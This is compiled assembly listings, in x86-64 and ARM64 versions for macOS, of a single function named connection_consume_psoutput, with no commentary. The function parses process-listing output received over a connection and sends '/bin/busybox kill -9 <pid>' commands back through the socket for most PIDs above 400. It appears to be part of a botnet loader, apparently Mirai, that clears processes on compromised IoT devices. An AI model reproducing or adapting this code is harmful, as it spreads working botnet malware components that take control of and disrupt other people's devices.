	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_connection_consume_psoutput    ## -- Begin function connection_consume_psoutput
	.p2align	4, 0x90
_connection_consume_psoutput:           ## @connection_consume_psoutput
	.cfi_startproc
## %bb.0:
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset %rbp, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register %rbp
	pushq	%r15
	pushq	%r14
	pushq	%r13
	pushq	%r12
	pushq	%rbx
	subq	$24, %rsp
	.cfi_offset %rbx, -56
	.cfi_offset %r12, -48
	.cfi_offset %r13, -40
	.cfi_offset %r14, -32
	.cfi_offset %r15, -24
	movq	%rdi, %r14
	movq	(%rdi), %r12
	movl	8(%rdi), %ebx
	movq	_TOKEN_RESPONSE@GOTPCREL(%rip), %rax
	movq	(%rax), %r15
	movq	%r15, %rdi
	callq	_strlen
	movq	%r12, %rdi
	movl	%ebx, %esi
	movq	%r15, %rdx
	movl	%eax, %ecx
	callq	_util_memsearch
	movl	%eax, %r10d
	movslq	%eax, %r11
	xorl	%r15d, %r15d
	movl	%eax, -44(%rbp)                 ## 4-byte Spill
	cmpl	$-1, %r10d
	je	LBB0_6
	.p2align	4, 0x90
LBB0_5:
	cmpq	%r11, %r15
	jl	LBB0_7
	jmp	LBB0_31
	.p2align	4, 0x90
LBB0_6:
	movslq	8(%r14), %rdx
	cmpq	%rdx, %r15
	jge	LBB0_36
LBB0_7:
	movq	(%r14), %rax
	movb	(%rax,%r15), %cl
	cmpb	$10, %cl
	je	LBB0_10
## %bb.8:
	cmpb	$13, %cl
	jne	LBB0_4
## %bb.9:
	movb	$0, (%rax,%r15)
	jmp	LBB0_4
	.p2align	4, 0x90
LBB0_10:
	movq	_FALSE@GOTPCREL(%rip), %rcx
	movq	(%rcx), %rsi
	movb	$0, (%rax,%r15)
	movq	(%r14), %r8
	leaq	(%r8,%r15), %rax
	subq	%r12, %rax
	testq	%rax, %rax
	jle	LBB0_3
## %bb.11:
	xorl	%eax, %eax
	xorl	%r13d, %r13d
	xorl	%edi, %edi
	xorl	%r9d, %r9d
	jmp	LBB0_14
	.p2align	4, 0x90
LBB0_12:                                ##   in Loop: Header=BB0_14 Depth=1
	testl	%r9d, %r9d
	setg	%cl
	testq	%rsi, %rsi
	sete	%dl
	andb	%cl, %dl
	movzbl	%dl, %ecx
	addl	%ecx, %r9d
	movb	$0, (%rbx)
	movq	(%r14), %r8
	movq	_TRUE@GOTPCREL(%rip), %rsi
LBB0_13:                                ##   in Loop: Header=BB0_14 Depth=1
	movq	(%rsi), %rsi
	incq	%rax
	leaq	(%r8,%r15), %rcx
	subq	%r12, %rcx
	cmpq	%rax, %rcx
	jle	LBB0_19
LBB0_14:                                ## =>This Inner Loop Header: Depth=1
	leaq	(%r12,%rax), %rbx
	movzbl	(%r12,%rax), %ecx
	cmpq	$32, %rcx
	ja	LBB0_16
## %bb.15:                              ##   in Loop: Header=BB0_14 Depth=1
	movabsq	$4294967809, %rdx               ## imm = 0x100000201
	btq	%rcx, %rdx
	jb	LBB0_12
LBB0_16:                                ##   in Loop: Header=BB0_14 Depth=1
	testl	%r9d, %r9d
	je	LBB0_18
## %bb.17:                              ##   in Loop: Header=BB0_14 Depth=1
	testq	%rsi, %rsi
	cmoveq	%r13, %rbx
	leal	-3(%r9), %ecx
	cmpl	$3, %ecx
	cmovbq	%rbx, %r13
	movq	_FALSE@GOTPCREL(%rip), %rsi
	jmp	LBB0_13
LBB0_18:                                ##   in Loop: Header=BB0_14 Depth=1
	movl	$1, %r9d
	movq	_FALSE@GOTPCREL(%rip), %rsi
	movq	%rbx, %rdi
	jmp	LBB0_13
	.p2align	4, 0x90
LBB0_19:
	testq	%rdi, %rdi
	je	LBB0_3
## %bb.20:
	testq	%r13, %r13
	je	LBB0_3
## %bb.21:
	movq	%r11, %r12
	callq	_atoi
	movl	%eax, %ebx
	movq	%r13, %rdi
	callq	_strlen
	movq	%r12, %r11
	movl	-44(%rbp), %r10d                ## 4-byte Reload
	movl	%eax, -48(%rbp)                 ## 4-byte Spill
	movl	%ebx, -52(%rbp)                 ## 4-byte Spill
	cmpl	$1, %ebx
	je	LBB0_3
## %bb.22:
	movq	%r13, %rdi
	leaq	L_.str(%rip), %rsi
	callq	_strcmp
	testq	%rax, %rax
	je	LBB0_2
## %bb.23:
	movq	%r13, %rdi
	leaq	L_.str.1(%rip), %rsi
	callq	_strcmp
	movl	-44(%rbp), %r10d                ## 4-byte Reload
	testq	%rax, %rax
	je	LBB0_2
## %bb.24:
	movq	%r12, %r11
	cmpl	$401, -52(%rbp)                 ## 4-byte Folded Reload
                                        ## imm = 0x191
	jl	LBB0_3
## %bb.25:
	cmpl	$0, -48(%rbp)                   ## 4-byte Folded Reload
	jle	LBB0_3
## %bb.26:
	movl	-48(%rbp), %eax                 ## 4-byte Reload
	xorl	%ecx, %ecx
	xorl	%edx, %edx
	jmp	LBB0_29
	.p2align	4, 0x90
LBB0_27:                                ##   in Loop: Header=BB0_29 Depth=1
	incl	%edx
LBB0_28:                                ##   in Loop: Header=BB0_29 Depth=1
	incq	%rcx
	cmpq	%rcx, %rax
	je	LBB0_1
LBB0_29:                                ## =>This Inner Loop Header: Depth=1
	movzbl	(%r13,%rcx), %esi
	leal	-48(%rsi), %edi
	cmpb	$9, %dil
	jbe	LBB0_27
## %bb.30:                              ##   in Loop: Header=BB0_29 Depth=1
	andb	$-33, %sil
	addb	$-65, %sil
	cmpb	$26, %sil
	jae	LBB0_28
	jmp	LBB0_3
LBB0_1:
	testl	%edx, %edx
	jle	LBB0_3
LBB0_2:
	movl	12(%r14), %edi
	leaq	L_.str.2(%rip), %rsi
	movl	-52(%rbp), %edx                 ## 4-byte Reload
	callq	_util_sockprintf
	movq	%r12, %r11
	movl	-44(%rbp), %r10d                ## 4-byte Reload
	.p2align	4, 0x90
LBB0_3:
	movq	(%r14), %rax
	leaq	(%rax,%r15), %r12
	incq	%r12
LBB0_4:
	incq	%r15
	cmpl	$-1, %r10d
	jne	LBB0_5
	jmp	LBB0_6
LBB0_31:
	movl	8(%r14), %eax
	testl	%eax, %eax
	jle	LBB0_38
## %bb.32:
	xorl	%ecx, %ecx
	jmp	LBB0_34
	.p2align	4, 0x90
LBB0_33:                                ##   in Loop: Header=BB0_34 Depth=1
	incq	%rcx
	movslq	%eax, %rdx
	cmpq	%rdx, %rcx
	jge	LBB0_38
LBB0_34:                                ## =>This Inner Loop Header: Depth=1
	movq	(%r14), %rdx
	cmpb	$0, (%rdx,%rcx)
	jne	LBB0_33
## %bb.35:                              ##   in Loop: Header=BB0_34 Depth=1
	movb	$32, (%rdx,%rcx)
	movl	8(%r14), %eax
	jmp	LBB0_33
LBB0_36:
	xorl	%r10d, %r10d
	cmpl	$7169, %edx                     ## imm = 0x1C01
	jl	LBB0_38
## %bb.37:
	movq	(%r14), %rdi
	leaq	6144(%rdi), %rsi
	addl	$-6144, %edx                    ## imm = 0xE800
                                        ## kill: def $edx killed $edx killed $rdx
	callq	_memmove
	xorl	%r10d, %r10d
	addl	$-6144, 8(%r14)                 ## imm = 0xE800
LBB0_38:
	movl	%r10d, %eax
	addq	$24, %rsp
	popq	%rbx
	popq	%r12
	popq	%r13
	popq	%r14
	popq	%r15
	popq	%rbp
	retq
	.cfi_endproc
                                        ## -- End function
	.comm	_TOKEN_RESPONSE,8,3             ## @TOKEN_RESPONSE
	.comm	_FALSE,8,3                      ## @FALSE
	.comm	_TRUE,8,3                       ## @TRUE
	.section	__TEXT,__cstring,cstring_literals
L_.str:                                 ## @.str
	.asciz	"init"

L_.str.1:                               ## @.str.1
	.asciz	"[init]"

L_.str.2:                               ## @.str.2
	.asciz	"/bin/busybox kill -9 %d\r\n"

.subsections_via_symbols

	.section	__TEXT,__text,regular,pure_instructions
	.build_version macos, 13, 0	sdk_version 13, 3
	.globl	_connection_consume_psoutput    ; -- Begin function connection_consume_psoutput
	.p2align	2
_connection_consume_psoutput:           ; @connection_consume_psoutput
	.cfi_startproc
; %bb.0:
	sub	sp, sp, #112
	.cfi_def_cfa_offset 112
	stp	x28, x27, [sp, #16]             ; 16-byte Folded Spill
	stp	x26, x25, [sp, #32]             ; 16-byte Folded Spill
	stp	x24, x23, [sp, #48]             ; 16-byte Folded Spill
	stp	x22, x21, [sp, #64]             ; 16-byte Folded Spill
	stp	x20, x19, [sp, #80]             ; 16-byte Folded Spill
	stp	x29, x30, [sp, #96]             ; 16-byte Folded Spill
	add	x29, sp, #96
	.cfi_def_cfa w29, 16
	.cfi_offset w30, -8
	.cfi_offset w29, -16
	.cfi_offset w19, -24
	.cfi_offset w20, -32
	.cfi_offset w21, -40
	.cfi_offset w22, -48
	.cfi_offset w23, -56
	.cfi_offset w24, -64
	.cfi_offset w25, -72
	.cfi_offset w26, -80
	.cfi_offset w27, -88
	.cfi_offset w28, -96
	mov	x19, x0
	ldr	x24, [x0]
	ldr	w20, [x0, #8]
Lloh0:
	adrp	x8, _TOKEN_RESPONSE@GOTPAGE
Lloh1:
	ldr	x8, [x8, _TOKEN_RESPONSE@GOTPAGEOFF]
Lloh2:
	ldr	x21, [x8]
	mov	x0, x21
	bl	_strlen
	mov	x3, x0
	mov	x0, x24
	mov	x1, x20
	mov	x2, x21
	bl	_util_memsearch
	mov	x20, x0
	mov	x27, #0
	sxtw	x28, w20
Lloh3:
	adrp	x23, _FALSE@GOTPAGE
Lloh4:
	ldr	x23, [x23, _FALSE@GOTPAGEOFF]
	mov	w22, #1
	mov	x21, #513
	movk	x21, #1, lsl #32
Lloh5:
	adrp	x26, _TRUE@GOTPAGE
Lloh6:
	ldr	x26, [x26, _TRUE@GOTPAGEOFF]
	cmn	w20, #1
	b.eq	LBB0_2
LBB0_1:
	cmp	x27, x28
	b.lt	LBB0_3
	b	LBB0_28
LBB0_2:
	ldrsw	x8, [x19, #8]
	cmp	x27, x8
	b.ge	LBB0_33
LBB0_3:
	ldr	x8, [x19]
	ldrb	w9, [x8, x27]
	cmp	w9, #10
	b.eq	LBB0_6
; %bb.4:
	cmp	w9, #13
	b.ne	LBB0_27
; %bb.5:
	strb	wzr, [x8, x27]
	b	LBB0_27
LBB0_6:
	ldr	x11, [x23]
	strb	wzr, [x8, x27]
	ldr	x8, [x19]
	add	x9, x8, x27
	sub	x9, x9, x24
	cmp	x9, #1
	b.lt	LBB0_26
; %bb.7:
	mov	x9, #0
	mov	x25, #0
	mov	x0, #0
	mov	w10, #0
	b	LBB0_10
LBB0_8:                                 ;   in Loop: Header=BB0_10 Depth=1
	cmp	w10, #0
	ccmp	x11, #0, #0, gt
	cinc	w10, w10, eq
	strb	wzr, [x12]
	ldr	x8, [x19]
	mov	x11, x26
LBB0_9:                                 ;   in Loop: Header=BB0_10 Depth=1
	ldr	x11, [x11]
	add	x9, x9, #1
	add	x12, x8, x27
	sub	x12, x12, x24
	cmp	x12, x9
	b.le	LBB0_12
LBB0_10:                                ; =>This Inner Loop Header: Depth=1
	add	x12, x24, x9
	ldrb	w13, [x12]
	cmp	w13, #32
	lsl	x13, x22, x13
	and	x13, x13, x21
	ccmp	x13, #0, #4, ls
	b.ne	LBB0_8
; %bb.11:                               ;   in Loop: Header=BB0_10 Depth=1
	sub	w13, w10, #3
	cmp	x11, #0
	ccmp	w13, #3, #2, ne
	csel	x13, x12, x25, lo
	cmp	w10, #0
	csel	w10, w22, w10, eq
	csel	x11, x23, x23, eq
	csel	x0, x12, x0, eq
	csel	x25, x25, x13, eq
	b	LBB0_9
LBB0_12:
	cbz	x0, LBB0_26
; %bb.13:
	cbz	x25, LBB0_26
; %bb.14:
	bl	_atoi
	mov	x24, x0
	mov	x0, x25
	bl	_strlen
	str	w0, [sp, #12]                   ; 4-byte Folded Spill
	cmp	w24, #1
	b.eq	LBB0_26
; %bb.15:
	mov	x0, x25
Lloh7:
	adrp	x1, l_.str@PAGE
Lloh8:
	add	x1, x1, l_.str@PAGEOFF
	bl	_strcmp
	cbz	x0, LBB0_25
; %bb.16:
	mov	x0, x25
Lloh9:
	adrp	x1, l_.str.1@PAGE
Lloh10:
	add	x1, x1, l_.str.1@PAGEOFF
	bl	_strcmp
	cbz	x0, LBB0_25
; %bb.17:
	cmp	w24, #401
	b.lt	LBB0_26
; %bb.18:
	ldr	w8, [sp, #12]                   ; 4-byte Folded Reload
	cmp	w8, #1
	b.lt	LBB0_26
; %bb.19:
	mov	w8, #0
	ldr	w9, [sp, #12]                   ; 4-byte Folded Reload
	mov	w9, w9
	b	LBB0_22
LBB0_20:                                ;   in Loop: Header=BB0_22 Depth=1
	add	w8, w8, #1
LBB0_21:                                ;   in Loop: Header=BB0_22 Depth=1
	add	x25, x25, #1
	subs	x9, x9, #1
	b.eq	LBB0_24
LBB0_22:                                ; =>This Inner Loop Header: Depth=1
	ldrb	w10, [x25]
	sub	w11, w10, #48
	cmp	w11, #9
	b.ls	LBB0_20
; %bb.23:                               ;   in Loop: Header=BB0_22 Depth=1
	and	w10, w10, #0xffffffdf
	sub	w10, w10, #65
	cmp	w10, #26
	b.hs	LBB0_21
	b	LBB0_26
LBB0_24:
	cmp	w8, #1
	b.lt	LBB0_26
LBB0_25:
	ldr	w0, [x19, #12]
Lloh11:
	adrp	x1, l_.str.2@PAGE
Lloh12:
	add	x1, x1, l_.str.2@PAGEOFF
	mov	x2, x24
	bl	_util_sockprintf
LBB0_26:
	ldr	x8, [x19]
	add	x8, x8, x27
	add	x24, x8, #1
LBB0_27:
	add	x27, x27, #1
	cmn	w20, #1
	b.ne	LBB0_1
	b	LBB0_2
LBB0_28:
	ldr	w8, [x19, #8]
	cmp	w8, #1
	b.lt	LBB0_36
; %bb.29:
	mov	x9, #0
	mov	w10, #32
	b	LBB0_31
LBB0_30:                                ;   in Loop: Header=BB0_31 Depth=1
	add	x9, x9, #1
	cmp	x9, w8, sxtw
	b.ge	LBB0_36
LBB0_31:                                ; =>This Inner Loop Header: Depth=1
	ldr	x11, [x19]
	ldrb	w12, [x11, x9]
	cbnz	w12, LBB0_30
; %bb.32:                               ;   in Loop: Header=BB0_31 Depth=1
	strb	w10, [x11, x9]
	ldr	w8, [x19, #8]
	b	LBB0_30
LBB0_33:
	mov	w9, #7169
	cmp	w8, w9
	b.lt	LBB0_35
; %bb.34:
	ldr	x0, [x19]
	mov	w9, #6144
	add	x1, x0, x9
	mov	w21, #-6144
	add	w2, w8, w21
	bl	_memmove
	mov	w20, #0
	ldr	w8, [x19, #8]
	add	w8, w8, w21
	str	w8, [x19, #8]
	b	LBB0_36
LBB0_35:
	mov	w20, #0
LBB0_36:
	mov	x0, x20
	ldp	x29, x30, [sp, #96]             ; 16-byte Folded Reload
	ldp	x20, x19, [sp, #80]             ; 16-byte Folded Reload
	ldp	x22, x21, [sp, #64]             ; 16-byte Folded Reload
	ldp	x24, x23, [sp, #48]             ; 16-byte Folded Reload
	ldp	x26, x25, [sp, #32]             ; 16-byte Folded Reload
	ldp	x28, x27, [sp, #16]             ; 16-byte Folded Reload
	add	sp, sp, #112
	ret
	.loh AdrpLdrGot	Lloh5, Lloh6
	.loh AdrpLdrGot	Lloh3, Lloh4
	.loh AdrpLdrGotLdr	Lloh0, Lloh1, Lloh2
	.loh AdrpAdd	Lloh7, Lloh8
	.loh AdrpAdd	Lloh9, Lloh10
	.loh AdrpAdd	Lloh11, Lloh12
	.cfi_endproc
                                        ; -- End function
	.comm	_TOKEN_RESPONSE,8,3             ; @TOKEN_RESPONSE
	.comm	_FALSE,8,3                      ; @FALSE
	.comm	_TRUE,8,3                       ; @TRUE
	.section	__TEXT,__cstring,cstring_literals
l_.str:                                 ; @.str
	.asciz	"init"

l_.str.1:                               ; @.str.1
	.asciz	"[init]"

l_.str.2:                               ; @.str.2
	.asciz	"/bin/busybox kill -9 %d\r\n"

.subsections_via_symbols
